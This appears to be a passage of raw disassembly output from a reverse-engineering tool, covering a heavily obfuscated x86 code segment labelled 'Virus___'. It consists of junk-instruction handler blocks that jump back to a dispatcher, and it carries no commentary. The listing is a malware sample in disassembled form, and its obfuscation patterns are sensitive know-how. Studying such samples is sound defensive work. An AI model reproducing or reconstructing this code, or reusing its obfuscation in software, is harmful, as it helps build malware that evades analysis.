eax, 1CC51C0h jmp loc_5869E0 ; --------------------------------------------------------------------------- loc_590D9F: ; CODE XREF: Virus___:0058F975j and edx, eax pop eax dec edx push ebx jmp loc_589D68 ; --------------------------------------------------------------------------- loc_590DA9: ; CODE XREF: Virus___:00586AD8j add ecx, 4 xchg ecx, [esp] jmp loc_58CF69 ; --------------------------------------------------------------------------- loc_590DB4: ; CODE XREF: Virus___:00589394j add edx, esi jmp loc_5859EF ; --------------------------------------------------------------------------- loc_590DBB: ; CODE XREF: Virus___:0058DDFFj xor edx, 0C1B6912Ch mov esi, edx pop edx add edi, esi mov esi, [esp] add esp, 4 add edi, 4 jmp loc_58589D ; --------------------------------------------------------------------------- loc_590DD7: ; CODE XREF: Virus___:00588762j add edx, 4 jmp loc_58BD5E ; --------------------------------------------------------------------------- loc_590DE2: ; CODE XREF: Virus___:0058C5C9j add edi, esi mov esi, [esp] jmp loc_586540 ; --------------------------------------------------------------------------- loc_590DEC: ; CODE XREF: Virus___:00588EA4j sub ebx, ebp jmp loc_591406 ; --------------------------------------------------------------------------- loc_590DF3: ; CODE XREF: Virus___:00583C81j mov [esp], ebx mov bl, 37h dec bl shr bl, 6 jmp loc_592364 ; --------------------------------------------------------------------------- loc_590E02: ; CODE XREF: Virus___:00585569j and dh, cl jmp loc_581A14 ; --------------------------------------------------------------------------- loc_590E09: ; CODE XREF: Virus___:0057FA16j pop esp push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx jmp loc_58C9F2 ; --------------------------------------------------------------------------- loc_590E24: ; CODE XREF: Virus___:00588D16j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590E29: ; CODE XREF: Virus___:0058CE47j and ebp, eax pop eax inc ebp sub ebp, 0DC93C979h add ebx, ebp pop ebp jmp loc_59103C ; --------------------------------------------------------------------------- loc_590E3B: ; CODE XREF: Virus___:00582BA1j pop ecx push edi mov edi, 1A8C56B9h shl edi, 2 shr edi, 1 push ebx jmp loc_581DE2 ; --------------------------------------------------------------------------- loc_590E4D: ; CODE XREF: Virus___:0058B06Ej xor ebx, [esp] jmp loc_584E26 ; --------------------------------------------------------------------------- loc_590E55: ; CODE XREF: Virus___:00585981j mov esi, 0C639C540h add esi, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 45D3E6Eh xor esi, eax push dword ptr [esp] pop eax push 0FD1h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5932B6 ; --------------------------------------------------------------------------- loc_590E8E: ; CODE XREF: Virus___:00593A5Bj push edi mov edi, 6EC6077h add esi, edi pop edi jmp loc_580A65 ; --------------------------------------------------------------------------- loc_590E9C: ; CODE XREF: Virus___:0058A7BDj shr eax, 3 add eax, 0E9CB8D56h add edi, eax mov eax, [esp] add esp, 4 sub eax, edi jmp loc_584DDE ; --------------------------------------------------------------------------- loc_590EB3: ; CODE XREF: Virus___:0057F57Dj xor edi, 715D3D1Bh shr edi, 5 inc edi neg edi sub edi, 0FDD0F761h add esi, edi pop edi jmp loc_58F06F ; --------------------------------------------------------------------------- loc_590ECD: ; CODE XREF: Virus___:00594136j pop ecx push esi mov esi, esp push edi mov edi, 7AC979C1h shl edi, 5 xor edi, 592F3824h add esi, edi jmp loc_588882 ; --------------------------------------------------------------------------- loc_590EE7: ; CODE XREF: Virus___:00584D0Dj shr edx, 1 cmp eax, edx jz loc_58F9C7 push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], edi jmp loc_592A62 ; --------------------------------------------------------------------------- loc_590F05: ; CODE XREF: Virus___:00583695j pop esp mov [esp], edx jmp loc_57F495 ; --------------------------------------------------------------------------- loc_590F0E: ; CODE XREF: Virus___:0058DEF9j neg ebx jmp loc_59394E ; --------------------------------------------------------------------------- loc_590F15: ; CODE XREF: Virus___:0058E448j push ecx mov ecx, 4DE9396Fh jmp loc_58A4DD ; --------------------------------------------------------------------------- loc_590F20: ; CODE XREF: Virus___:00589528j mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_591188 ; --------------------------------------------------------------------------- loc_590F35: ; CODE XREF: Virus___:0058554Bj pop ebp xor edi, 1EAC3258h or edi, 3CFE588Bh add edi, 1 xor edi, 6774533Ah add edx, edi mov edi, [esp] add esp, 4 sub edx, 4F720E11h sub edx, eax sub esp, 4 mov [esp], ecx jmp loc_57FCA3 ; --------------------------------------------------------------------------- loc_590F69: ; CODE XREF: Virus___:00588DC5j mov [esp], edi push esi push 6AEE1C78h pop esi sub esi, 11F15E87h push esi jmp loc_583147 ; --------------------------------------------------------------------------- loc_590F7F: ; CODE XREF: Virus___:0058332Dj push eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590F86: ; CODE XREF: Virus___:0059314Aj push esp pop edi push eax jmp loc_580EF5 ; --------------------------------------------------------------------------- loc_590F8E: ; CODE XREF: Virus___:00584257j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_587F85 ; --------------------------------------------------------------------------- loc_590F9C: ; CODE XREF: Virus___:005848B0j push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590FB6: ; CODE XREF: Virus___:0057FBC2j ; Virus___:0058E539j push 33FFh mov [esp], edi sub esp, 4 jmp loc_5859CF ; --------------------------------------------------------------------------- loc_590FC9: ; CODE XREF: Virus___:00585D79j add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_589AFB ; --------------------------------------------------------------------------- loc_590FDE: ; CODE XREF: Virus___:0058BC5Cj add [esp], eax sub dword ptr [esp], 1B4520EDh sub esp, 4 mov [esp], edx mov edx, 7FE91D8Ah add [esp+4], edx mov edx, [esp] add esp, 4 push 2B3Eh mov [esp], edx jmp loc_5822E7 ; --------------------------------------------------------------------------- loc_59100D: ; CODE XREF: Virus___:0058D67Bj add ebx, esi push eax jmp loc_5859FA ; --------------------------------------------------------------------------- loc_591015: ; CODE XREF: Virus___:00588CA6j push esi push 727h mov [esp], ebp mov ebp, 4 mov esi, ebp pop ebp add ebp, esi mov esi, [esp] add esp, 4 push ebp jmp loc_59265B ; --------------------------------------------------------------------------- loc_591034: ; CODE XREF: Virus___:00589E75j neg ebx dec ebx jmp loc_581621 ; --------------------------------------------------------------------------- loc_59103C: ; CODE XREF: Virus___:00590E36j sub ebx, 353B6694h or ebx, 50220D8Dh xor ebx, 2B30269Fh sub ebx, 76CF490Eh jmp loc_58E0B7 ; --------------------------------------------------------------------------- loc_591059: ; CODE XREF: Virus___:00582601j xor eax, edx not edx xchg eax, edx jmp loc_5835EB ; --------------------------------------------------------------------------- loc_591063: ; CODE XREF: Virus___:005842B4j pop ebp push edi mov edi, 0 sub edi, edx xchg edi, edx mov edi, [esp] add esp, 4 add edx, 0FFFFFFFFh push 0 sub [esp], edx pop edx add edx, 0D2175976h add ebp, edx pop edx push esi mov esi, 4 sub ebp, 6F79216Bh sub ebp, 3867638h jmp loc_581489 ; --------------------------------------------------------------------------- loc_5910A3: ; CODE XREF: Virus___:0058FE9Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5910B7: ; CODE XREF: Virus___:0058D1ABj mov esi, 6CB46359h push ebx mov ebx, 7DC60692h sub ebx, 4D3ADCABh and esi, ebx jmp loc_585B7E ; --------------------------------------------------------------------------- loc_5910CF: ; CODE XREF: Virus___:00582BE7j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5910D4: ; CODE XREF: Virus___:0058C252j pop ebx jmp loc_58AC41 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_592DE1 ; --------------------------------------------------------------------------- loc_5910E2: ; CODE XREF: Virus___:0058137Dj xchg esi, [esp] pop esp mov [esp], esi jmp loc_58EB12 ; --------------------------------------------------------------------------- loc_5910EE: ; CODE XREF: Virus___:0058C19Ej xor al, dh pop edx sub bl, 10h sub bl, 0C9h sub bl, al jmp loc_5848B5 ; --------------------------------------------------------------------------- loc_5910FE: ; CODE XREF: Virus___:00589558j sub esp, 4 jmp loc_58C015 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], edx mov edx, 0A757706h push 0F09h jmp loc_5934DF ; --------------------------------------------------------------------------- loc_591122: ; CODE XREF: Virus___:00586F25j pop ebp jmp loc_58952D ; --------------------------------------------------------------------------- loc_591128: ; CODE XREF: Virus___:0058993Fj mov [esp], eax not dword ptr [esp] pop eax jmp loc_587F91 ; --------------------------------------------------------------------------- loc_591134: ; CODE XREF: Virus___:00580E30j mov [esp], ebx mov ebx, 587A5F42h shr ebx, 1 sub ebx, 29B2274h add ebx, 2FDC261Bh jmp loc_58F197 ; --------------------------------------------------------------------------- loc_59114F: ; CODE XREF: Virus___:00588CE1j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_58205A ; --------------------------------------------------------------------------- loc_591162: ; CODE XREF: Virus___:00582701j pop esp add ecx, 4970B11Ah add esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] pop esp movzx ecx, ax push edx mov edx, esp push edi mov edi, 4 add edx, edi jmp loc_5832C4 ; --------------------------------------------------------------------------- loc_591188: ; CODE XREF: Virus___:00590F30j pop esi jmp loc_589247 ; --------------------------------------------------------------------------- loc_59118E: ; CODE XREF: Virus___:00585323j xor ebp, 1718405Ah add eax, ebp pop ebp push dword ptr [esp] pop edi add esp, 4 jmp loc_58F109 ; --------------------------------------------------------------------------- loc_5911A3: ; CODE XREF: Virus___:0058212Aj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_586622 ; --------------------------------------------------------------------------- loc_5911BC: ; CODE XREF: Virus___:00586152j pop ebx push 5957h mov [esp], edx push eax jmp loc_58BAD9 ; --------------------------------------------------------------------------- loc_5911CB: ; CODE XREF: Virus___:00586FA1j not dh sub esp, 4 mov [esp], ecx mov ch, 0E7h shl ch, 8 inc ch push eax jmp loc_58C75D ; --------------------------------------------------------------------------- loc_5911E3: ; CODE XREF: Virus___:00585620j mov eax, [esp] jmp loc_57F507 ; --------------------------------------------------------------------------- loc_5911EB: ; CODE XREF: Virus___:0058DF21j push 7A80h mov [esp], ecx push esp jmp loc_590263 ; --------------------------------------------------------------------------- loc_5911F9: ; CODE XREF: Virus___:0058BF2Ej or dl, 0ECh neg dl jmp loc_586630 ; --------------------------------------------------------------------------- loc_591203: ; CODE XREF: Virus___:00582FF9j push 1322h mov [esp], edx mov edx, 4 add [esp+4], edx pop edx mov ebx, [esp] push 1Eh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_585B13 ; --------------------------------------------------------------------------- loc_591231: ; CODE XREF: Virus___:00586DCEj inc edx sub edx, 176E7E56h mov ebp, edx pop edx sub ecx, ebp pop ebp jmp loc_588EE3 ; --------------------------------------------------------------------------- loc_591243: ; CODE XREF: Virus___:00587D6Fj inc byte ptr [esp] pushf jmp loc_58E37A ; --------------------------------------------------------------------------- loc_59124C: ; CODE XREF: Virus___:00588FB1j push 7962h mov [esp], ecx mov ecx, esp push esi mov esi, 611C5071h not esi jmp loc_58BF0F ; --------------------------------------------------------------------------- loc_591263: ; CODE XREF: Virus___:00592B1Ej mov edi, 4 add ecx, edi jmp loc_58B689 ; --------------------------------------------------------------------------- loc_59126F: ; CODE XREF: Virus___:0059389Fj sub eax, ebx pop ebx sub edi, eax jmp loc_5829A1 ; --------------------------------------------------------------------------- loc_591279: ; CODE XREF: Virus___:00580172j pop bx add al, bh sub al, 0C3h push edx mov dl, 77h sub dl, 0A4h add al, dl jmp loc_588CBB ; --------------------------------------------------------------------------- loc_59128C: ; CODE XREF: Virus___:00587782j sub eax, 19F10AA6h sub eax, 7CDE5BDFh add eax, ebp add eax, 7CDE5BDFh add eax, 19F10AA6h pop ebp jmp loc_580AEB ; --------------------------------------------------------------------------- loc_5912A8: ; CODE XREF: Virus___:005853D7j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 push esi push eax mov eax, 3B1E5044h mov esi, 0E8C32420h add esi, eax pop eax add esi, 0DC1E8BA0h sub ebx, 3A2F1613h add ebx, esi add ebx, 3A2F1613h jmp loc_57FF8F ; --------------------------------------------------------------------------- loc_5912DC: ; CODE XREF: Virus___:0058713Aj add edx, ecx pop ecx sub esp, 4 mov [esp], esi mov esi, 1B8A2AB6h add edx, 77AA5029h sub edx, esi sub edx, 77AA5029h mov esi, [esp] add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591303: ; CODE XREF: Virus___:00589104j push ebp xor dword ptr [esp], 4954227Fh pop esi xor esi, 4954227Fh pop ebp jmp loc_58E428 ; --------------------------------------------------------------------------- loc_591318: ; CODE XREF: Virus___:005878C0j push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edx push ebx push 732Ah mov [esp], esp push ecx mov ecx, 4 jmp loc_5879DC ; --------------------------------------------------------------------------- loc_59133B: ; CODE XREF: Virus___:00585619j add edx, 4 xchg edx, [esp] pop esp jmp loc_582A20 ; --------------------------------------------------------------------------- loc_591347: ; CODE XREF: Virus___:00593E5Dj sub edx, 60247397h add edx, eax add edx, 60247397h sub edx, 25DD063Bh push ebx mov ebx, 309C212Ch jmp loc_5928A6 ; --------------------------------------------------------------------------- loc_591366: ; CODE XREF: Virus___:0058659Dj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr eax, 0Ah xor eax, ecx push 79ABh mov [esp], eax sub esp, 4 mov [esp], ebx pop eax push dword ptr [esp] mov ebx, [esp] push 20CAh jmp loc_593DA1 ; --------------------------------------------------------------------------- loc_591396: ; CODE XREF: Virus___:00580828j add esp, 4 xchg ebp, [esp] pop esp mov [esp], esp push ecx jmp loc_581233 ; --------------------------------------------------------------------------- loc_5913A6: ; CODE XREF: Virus___:00593097j or eax, 78625CBBh jmp loc_58C43F ; --------------------------------------------------------------------------- loc_5913B0: ; CODE XREF: Virus___:0058514Dj sub esi, edx pop edx jmp loc_58C39C ; --------------------------------------------------------------------------- loc_5913B8: ; CODE XREF: Virus___:0058E3DEj add esi, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg esi, [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] jmp loc_5882CB ; --------------------------------------------------------------------------- loc_5913E1: ; CODE XREF: Virus___:00581EE2j mov eax, [esp] add esp, 4 or edi, 4FC58A7h push edx mov edx, 7FD83B40h jmp loc_57F9E6 ; --------------------------------------------------------------------------- loc_5913F8: ; CODE XREF: Virus___:00581C68j pop edi add ebp, edx add ebp, 53132174h jmp loc_57F8FA ; --------------------------------------------------------------------------- loc_591406: ; CODE XREF: Virus___:00590DEEj pop ebp sub esp, 4 mov [esp], edi push eax mov eax, 67776CEDh mov edi, eax pop eax jmp loc_588781 ; --------------------------------------------------------------------------- loc_59141E: ; CODE XREF: Virus___:005932DAj push edi mov edi, 4 add dword ptr [esp+4], 49FA2FBFh add [esp+4], edi sub dword ptr [esp+4], 49FA2FBFh pop edi mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_5827EB ; --------------------------------------------------------------------------- loc_59144A: ; CODE XREF: Virus___:0058224Cj add al, 2Ah jmp loc_58B22B ; --------------------------------------------------------------------------- loc_591451: ; CODE XREF: Virus___:00582831j push dword ptr [esp+4] pop eax jmp loc_5855AA ; --------------------------------------------------------------------------- loc_59145B: ; CODE XREF: Virus___:0058F90Aj sub dword ptr [esp], 37490F6Eh pop eax add eax, 37490F6Eh jmp loc_58509A ; --------------------------------------------------------------------------- loc_59146D: ; CODE XREF: Virus___:005856FCj pop esi push ebp mov ebp, 4 add esi, ebp jmp loc_5818B6 ; --------------------------------------------------------------------------- loc_59147B: ; CODE XREF: Virus___:00587FD8j sub al, 0CEh mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_580D6B ; --------------------------------------------------------------------------- loc_591496: ; CODE XREF: Virus___:00585297j neg ebp push 4885h mov [esp], edx jmp loc_58EC19 ; --------------------------------------------------------------------------- loc_5914A5: ; CODE XREF: Virus___:00586EC8j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push eax mov eax, esp jmp loc_59232B ; --------------------------------------------------------------------------- loc_5914D7: ; CODE XREF: Virus___:00585C27j mov dl, ch mov ecx, [esp] add esp, 4 pop ebx not dl push eax mov al, dl push edx mov dl, al mov cl, dl pop edx jmp loc_585443 ; --------------------------------------------------------------------------- loc_5914F0: ; CODE XREF: Virus___:005928FEj sub ebx, eax jmp loc_58BCBE ; --------------------------------------------------------------------------- push dword ptr [edi+38h] mov ecx, [esp] sub esp, 4 mov [esp], ebp jmp loc_588298 ; --------------------------------------------------------------------------- loc_591508: ; CODE XREF: Virus___:0058E366j inc ebx shl ebx, 6 or ebx, 1812089Ah xor ebx, 566D6805h mov ecx, ebx pop ebx sub [esp+8], ecx pop ecx jmp loc_58AE58 ; --------------------------------------------------------------------------- loc_591525: ; CODE XREF: Virus___:0058621Aj mov esp, [esp] jmp loc_59057D ; --------------------------------------------------------------------------- loc_59152D: ; CODE XREF: Virus___:0058D2B2j sub ecx, esi add ecx, 6E29347Ah push dword ptr [esp] pop esi push ebx jmp loc_586EE4 ; --------------------------------------------------------------------------- loc_59153F: ; CODE XREF: Virus___:00583B90j mov [esp], edx mov edx, 13410AF2h jmp loc_582011 ; --------------------------------------------------------------------------- loc_59154C: ; CODE XREF: Virus___:00589F7Aj add edx, 30D0A4C9h push edx pop ebp pop edx push esi jmp loc_587FDD ; --------------------------------------------------------------------------- loc_59155B: ; CODE XREF: Virus___:0058CCB0j shl word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591565: ; CODE XREF: Virus___:0058A4C5j add ecx, edx pop edx push 7016h mov [esp], esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] add esi, eax push ecx mov ecx, 7B4E24C3h sub esi, ecx pop ecx push eax push 63C73B79h push dword ptr [esp] jmp loc_57FBD3 ; --------------------------------------------------------------------------- loc_591597: ; CODE XREF: Virus___:00580E5Dj mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_592471 ; --------------------------------------------------------------------------- loc_5915AC: ; CODE XREF: Virus___:00584BBDj mov edx, [esp] add esp, 4 add eax, 16D222FEh push edi mov edi, 2A40003Bh jmp loc_580492 ; --------------------------------------------------------------------------- loc_5915C5: ; CODE XREF: Virus___:00590701j mov [esp], edx push eax push 4D4F5092h pop eax neg eax jmp loc_581A21 ; --------------------------------------------------------------------------- loc_5915D6: ; CODE XREF: Virus___:00585EB5j push dword ptr [esp+4] push dword ptr [esp] jmp loc_5827E5 ; --------------------------------------------------------------------------- loc_5915E2: ; CODE XREF: Virus___:0058FFC0j pop small word ptr [esp] jmp loc_58ED64 ; --------------------------------------------------------------------------- loc_5915EB: ; CODE XREF: Virus___:005862C2j shr ebp, 1 add ebp, 70A8795Ch shr ebp, 5 jmp loc_5935C7 ; --------------------------------------------------------------------------- loc_5915FB: ; CODE XREF: Virus___:00583664j add esp, 4 sub edx, 72B1550h add esi, edx mov edx, [esp] jmp loc_587F6B ; --------------------------------------------------------------------------- loc_591611: ; CODE XREF: Virus___:005895A1j mov ax, [esp] add esp, 2 and dh, 0AAh and dh, 0DBh inc dh add dh, 7Eh sub ah, dh jmp loc_58EA47 ; --------------------------------------------------------------------------- loc_59162A: ; CODE XREF: Virus___:005890EFj pop eax xchg edi, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 4 jmp loc_58F374 ; --------------------------------------------------------------------------- loc_59165A: ; CODE XREF: Virus___:005903CAj pop edi add ecx, edi push edi push ebx mov ebx, 0CA04D2Fh mov edi, 64D62CB4h add edi, ebx pop ebx sub ecx, edi pop edi sub esp, 4 mov [esp], edx mov edx, 0 add edx, ecx push ecx mov ecx, 0 add ecx, edx jmp loc_5904D2 ; --------------------------------------------------------------------------- loc_591689: ; CODE XREF: Virus___:00581D58j mov esi, [esp] push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp jmp loc_58A0E9 ; --------------------------------------------------------------------------- loc_5916A7: ; CODE XREF: Virus___:00592B88j mov esp, [esp] mov [esp], ecx jmp loc_58BCE2 ; --------------------------------------------------------------------------- loc_5916B2: ; CODE XREF: Virus___:0058AC53j mov ebx, esp push edx mov edx, 4 jmp loc_59184E ; --------------------------------------------------------------------------- loc_5916BF: ; CODE XREF: Virus___:00590448j pop esi jmp loc_5897DA ; --------------------------------------------------------------------------- loc_5916C5: ; CODE XREF: Virus___:00581BC4j sub ebp, 33905248h xchg esi, ebp push 318Dh mov [esp], esi not dword ptr [esp] mov esi, [esp] jmp loc_586AE7 ; --------------------------------------------------------------------------- loc_5916E0: ; CODE XREF: Virus___:0059440Cj add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push ebx push ebp push eax push 1728703Ch pop eax push edi mov edi, 1728703Bh add eax, 5DD436DCh sub eax, 554A551Bh sub eax, edi add eax, 554A551Bh sub eax, 5DD436DCh pop edi push ebp jmp loc_590CE2 ; --------------------------------------------------------------------------- loc_59171E: ; CODE XREF: Virus___:00592A52j xchg eax, [esp] jmp loc_587F79 ; --------------------------------------------------------------------------- loc_591726: ; CODE XREF: Virus___:0058806Ej add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_57FB68 ; --------------------------------------------------------------------------- loc_59173A: ; CODE XREF: Virus___:005893CEj inc dh add dh, 0C4h or dh, 63h shr dh, 7 and dh, 0B8h add dh, 0B1h push ecx jmp loc_59450E ; --------------------------------------------------------------------------- loc_591751: ; CODE XREF: Virus___:005898F2j not esi sub esi, 69F388ADh push esi pop eax pop esi mov ebx, eax pop eax jmp loc_583AC5 ; --------------------------------------------------------------------------- loc_591764: ; CODE XREF: Virus___:0058A747j push esi mov esi, 0FE16333Dh push edx push esi push esi mov esi, 209169D6h jmp loc_580BA1 ; --------------------------------------------------------------------------- loc_591777: ; CODE XREF: Virus___:005827A1j push ecx push ebp push 100h push dword ptr [esp] pop ebp push ebx jmp loc_587E57 ; --------------------------------------------------------------------------- loc_591788: ; CODE XREF: Virus___:0058E228j add dword ptr [esp], 4 jmp loc_58D9B7 ; --------------------------------------------------------------------------- loc_591791: ; CODE XREF: Virus___:0058E5B9j push edi mov edi, 7CF53725h shl edi, 4 sub edi, 0FFFFFFFFh xor edi, 0C8A1A4DEh sub esi, edi pop edi jmp loc_580206 ; --------------------------------------------------------------------------- loc_5917AB: ; CODE XREF: Virus___:00588D6Aj add eax, 4 jmp loc_5909FB ; --------------------------------------------------------------------------- loc_5917B5: ; CODE XREF: Virus___:0058191Fj mov edi, 35285562h jmp loc_583CD9 ; --------------------------------------------------------------------------- loc_5917BF: ; CODE XREF: Virus___:00582958j sub eax, 5200503Eh add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp imul ecx, eax push ecx pushf jmp loc_57F37C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5917E7: ; CODE XREF: Virus___:0058F081j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 1CD1h mov [esp], esi jmp loc_593E9E ; --------------------------------------------------------------------------- loc_591800: ; CODE XREF: Virus___:00588BE9j add [esp+4], ebx pop ebx pop ebx jmp loc_58AB7C ; --------------------------------------------------------------------------- loc_59180B: ; CODE XREF: Virus___:00581DB5j sub dword ptr [esp], 24C11648h jmp loc_59453A ; --------------------------------------------------------------------------- loc_591817: ; CODE XREF: Virus___:00585E68j xor eax, 0E93BBD44h add ebp, eax mov eax, [esp] add esp, 4 add esi, ebp jmp loc_584382 ; --------------------------------------------------------------------------- loc_59182E: ; CODE XREF: Virus___:00594162j mov esi, 5AFB07F3h or esi, 4923332Fh push edx mov edx, esp jmp loc_58423B ; --------------------------------------------------------------------------- loc_591841: ; CODE XREF: Virus___:005831F7j ; Virus___:00586D2Ej ... push 431h mov [esp], ebx jmp loc_58AD91 ; --------------------------------------------------------------------------- loc_59184E: ; CODE XREF: Virus___:005916BAj add ebx, edx pop edx jmp loc_592DC8 ; --------------------------------------------------------------------------- loc_591856: ; CODE XREF: Virus___:005844D9j xor dl, 55h mov cl, dl pop edx sub bl, cl jmp loc_5869D4 ; --------------------------------------------------------------------------- loc_591863: ; CODE XREF: Virus___:0058C397j push 6683h mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_58C525 ; --------------------------------------------------------------------------- loc_591878: ; CODE XREF: Virus___:00583B21j sub esp, 4 mov [esp], ebp push edx mov edx, 4C3312A4h jmp loc_5806AF ; --------------------------------------------------------------------------- loc_59188C: ; CODE XREF: Virus___:00581633j mov ebp, 491B7B33h add ebx, ebp pop ebp add ebx, 6DEE7A8Fh add ebp, ebx mov ebx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi mov edi, esp push esi mov esi, 44E1514Dh neg esi sub esi, 1A852039h xor esi, 0A0998E7Eh add edi, esi pop esi sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] jmp loc_5819E1 ; --------------------------------------------------------------------------- loc_5918F6: ; CODE XREF: Virus___:0058CA08j add bl, 8Ch add bl, dh sub bl, 8Ch pop dx movzx eax, al jmp loc_58C47C ; --------------------------------------------------------------------------- loc_591908: ; CODE XREF: Virus___:00593A9Dj mov [esp], esp add dword ptr [esp], 4 pop esi push edx push ebp mov ebp, 4 mov edx, ebp mov ebp, [esp] add esp, 4 add esi, edx mov edx, [esp] add esp, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] jmp loc_58B33D ; --------------------------------------------------------------------------- loc_591958: ; CODE XREF: Virus___:0058179Aj push ecx mov ecx, esi mov ebx, ecx pop ecx pop esi jmp loc_586150 ; --------------------------------------------------------------------------- loc_591964: ; CODE XREF: Virus___:00583F0Fj pop esi jmp loc_57F4C5 ; --------------------------------------------------------------------------- loc_59196A: ; CODE XREF: Virus___:00585285j mov edx, ebx pop ebx jmp loc_589190 ; --------------------------------------------------------------------------- loc_591972: ; CODE XREF: Virus___:005801D2j add dword ptr [esp], 4 jmp loc_581B5F ; --------------------------------------------------------------------------- loc_59197E: ; CODE XREF: Virus___:0058F316j xor ebp, [esp] jmp loc_590831 ; --------------------------------------------------------------------------- loc_591986: ; CODE XREF: Virus___:005855C2j pop ebp dec ebp xor ebp, 4EC34381h push ebp pop eax mov ebp, [esp] add esp, 4 jmp loc_588151 ; --------------------------------------------------------------------------- loc_59199B: ; CODE XREF: Virus___:0058BC42j push eax mov eax, 3FD37E21h jmp loc_57FE88 ; --------------------------------------------------------------------------- loc_5919A6: ; CODE XREF: Virus___:00593D6Cj sub ebp, eax pop eax sub eax, ebp jmp loc_57FCCF ; --------------------------------------------------------------------------- loc_5919B0: ; CODE XREF: Virus___:0058BB70j mov esp, [esp] mov [esp], ebp push esp push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 jmp loc_592F57 ; --------------------------------------------------------------------------- loc_5919C9: ; CODE XREF: Virus___:0058BF3Dj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58EEBB ; --------------------------------------------------------------------------- loc_5919DA: ; CODE XREF: Virus___:005901F9j mov esi, 6F0037E7h and esi, 6A665E9Fh jmp loc_58CE1E ; --------------------------------------------------------------------------- loc_5919EA: ; CODE XREF: Virus___:0059352Aj add bh, dh pop dx jmp loc_58F10F ; --------------------------------------------------------------------------- loc_5919F3: ; CODE XREF: Virus___:00592A2Fj mov esp, [esp] mov [esp], esi mov esi, 1A30567Fh add eax, esi pop esi sub eax, ebx jmp loc_586FCB ; --------------------------------------------------------------------------- loc_591A08: ; CODE XREF: Virus___:00584979j xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_58EC95 ; --------------------------------------------------------------------------- loc_591A14: ; CODE XREF: Virus___:0058D436j xor ecx, [esp] jmp loc_588391 ; --------------------------------------------------------------------------- loc_591A1C: ; CODE XREF: Virus___:0058AA6Cj or eax, ebp jmp loc_58273C ; --------------------------------------------------------------------------- loc_591A23: ; CODE XREF: Virus___:0058E2B8j pop eax push edi push ecx mov ecx, 629B7347h jmp loc_588B4D ; --------------------------------------------------------------------------- loc_591A30: ; CODE XREF: Virus___:00589242j sub ebx, 69CF7AAEh push eax mov eax, 70463B36h jmp loc_581094 ; --------------------------------------------------------------------------- loc_591A41: ; CODE XREF: Virus___:0058AF03j sub ecx, 738B5329h jmp loc_5851A9 ; --------------------------------------------------------------------------- loc_591A4C: ; CODE XREF: Virus___:00586FF5j add ebp, 4 sub ebp, 4 jmp loc_585A7A ; --------------------------------------------------------------------------- loc_591A5D: ; CODE XREF: Virus___:00593135j add edi, ecx push esi mov esi, 4BB2782Bh jmp loc_58DC5A ; --------------------------------------------------------------------------- loc_591A6A: ; CODE XREF: Virus___:0058A5A2j pop ebp add edi, 1 add edi, 0C7125391h push esi mov esi, 216E6B58h jmp 